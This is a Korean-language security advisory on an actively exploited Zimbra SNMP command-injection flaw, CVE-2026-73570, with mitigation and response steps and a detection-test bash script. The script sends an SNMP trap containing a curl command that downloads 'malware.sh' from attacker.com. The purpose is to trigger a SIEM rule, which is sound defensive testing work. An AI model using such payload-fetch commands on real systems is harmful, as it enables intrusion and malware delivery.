CVE-2026-73570: 인증되지 않은 명령 주입이 인터넷 외부 메일 서버를 표적으로 삼다

요약

위협 행위자는 Zimbra Collaboration Suite SNMP 알림 경로의 인증되지 않은 OS 명령어 주입 취약점(CVE-2026-73570)을 적극적으로 악용하고 있습니다. 성공적인 악용은 공격자들이 JSP 웹셸을 배포하고, 리버스 셸을 확립하며, 권한을 상승시킬 수 있게 합니다. 관찰된 캠페인은 이메일 및 인증 데이터 탈취에 중점을 둔 자동 페이로드 전송과 직접 조작 활동을 결합합니다.

조사

마이크로소프트 위협 인텔리전스 팀은 원격 분석을 통해 악용을 추적하고 정찰, 초기 접근, 지속성 및 권한 상승을 포함한 여러 공격 단계를 조사했습니다. 조사자들은 특정 하위 도메인을 통해 명령 실행을 확인하기 위해 사용된 외부 프로브를 관찰했습니다. 또한 복잡한 권한 상승이 Zimbra 서비스 도우미 및 systemd 서비스와 cron 작업을 포함한 여러 지속성 메커니즘과 관련 있음을 확인했습니다.

완화 조치

조직은 이 취약점을 해결하기 위해 Zimbra Collaboration Suite를 10.1.20 버전 이상으로 즉시 업그레이드해야 합니다. 패치를 신속하게 완료할 수 없는 경우, 선택적 zimbra-snmp 패키지를 제거하고 SNMP 알림을 비활성화하십시오. 보안 팀은 또한 SMTP 및 SNMP 접근을 신뢰할 수 있는 호스트로 제한하고 모든 Zimbra 인증 비밀을 교체해야 합니다.

대응

인터넷에 노출된 메일 서버에서의 리버스 셸 경고를 신속한 범위 확장과 자격 증명 검토가 필요한 고우선 사건으로 처리하십시오. Zimbra 애플리케이션 및 서블릿-작업 디렉터리에서 예상치 못한 JSP 파일이나 최근 수정된 권한을 검사하십시오. systemd 유닛에 대한 의심스러운 소유권 변경이나 타임스탬프 조작 활동을 검토하고 모든 도메인 zimbraPreAuthKey 값을 교체하십시오.

시뮬레이션 실행

• 공격 내러티브 및 명령: 적수는 인터넷에 노출된 Zimbra 메일 서버를 식별하고 SNMP 알림 처리에서의 취약점(CVE-2026-73570)을 악용합니다. 특수하게 제작된 패킷을 전송하여 SNMP 서비스가 명령을 실행하도록 하는 셸 메타문자를 주입합니다. 공격자의 목표는 지속성을 확립하기 위해 2차 페이로드를 다운로드하는 것입니다. 그들은 curl 를 사용하여 원격 서버에서 스크립트를 가져오며, 이는 curl을 포함한 명령 감지 규칙의 로직을 트리거해야 합니다.

• 회귀 테스트 스크립트:

  #!/bin/bash
  # SNMP 트랩 주입을 통한 CVE-2026-73570 악용 시뮬레이션
  # 이 스크립트는 SNMP 트랩 메시지에 'curl' 명령을 주입하는 것을 시뮬레이션합니다.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # 규칙에 의해 감지되도록 의도된 악성 페이로드
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] SNMP 트랩을 통한 명령어 주입 시뮬레이션 중..."
  
  # 우리는 snmptrap을 사용하여 'curl' 문자열을 포함하는 제작된 트랩의 도착을 모방합니다
  # 실제 악용에서는 제대로 형성되지 않은 SMTP/SNMP 패킷을 통해 전송됩니다
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] 시뮬레이션 명령이 전송되었습니다. SIEM에서 경고를 확인하십시오: Zimbra의 SNMP를 통한 인증되지 않은 명령어 주입"

• 정리 명령어:

  # 시뮬레이션 중에 생성된 파일이 있다면 제거합니다
  rm -f /tmp/malware.sh
  echo "[+] 정리 완료."